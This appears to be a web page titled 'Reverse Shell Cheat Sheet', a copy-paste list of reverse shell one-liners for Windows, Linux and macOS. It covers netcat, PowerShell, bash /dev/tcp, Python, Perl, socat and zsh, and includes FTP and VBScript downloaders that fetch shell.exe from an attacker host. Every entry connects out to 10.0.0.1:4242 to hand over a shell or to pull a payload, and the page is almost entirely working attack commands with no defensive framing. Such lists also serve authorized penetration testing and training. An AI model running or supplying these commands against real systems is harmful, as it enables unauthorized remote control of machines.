Skip to content

Reverse Shell Cheat Sheet

Table of Contents


Windows Reverse Shells

Netcat

nc -e cmd.exe 10.0.0.1 4242
nc.exe -nv 10.0.0.1 4242 -e cmd.exe

PowerShell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Cmd Reverse Shell

cmd.exe /c "echo open 10.0.0.1 4242 > ftp.txt && echo user anonymous >> ftp.txt && echo binary >> ftp.txt && echo get reverse_shell.exe >> ftp.txt && echo bye >> ftp.txt && ftp -s:ftp.txt"

VBScript Reverse Shell

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(WScript.Arguments.Item(1),True) >> wget.vbs
echo ts.Write http.responseText >> wget.vbs
echo ts.Close >> wget.vbs
cscript wget.vbs http://10.0.0.1/shell.exe shell.exe

Linux Reverse Shells

Netcat

nc -e /bin/bash 10.0.0.1 4242

Bash

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

Python

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Socat

socat TCP4:10.0.0.1:4242 EXEC:/bin/bash

MacOS Reverse Shells

Bash

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

Zsh

zsh -c "zmodload zsh/net/tcp && ztcp 10.0.0.1 4242 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY"

Python

```bash python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'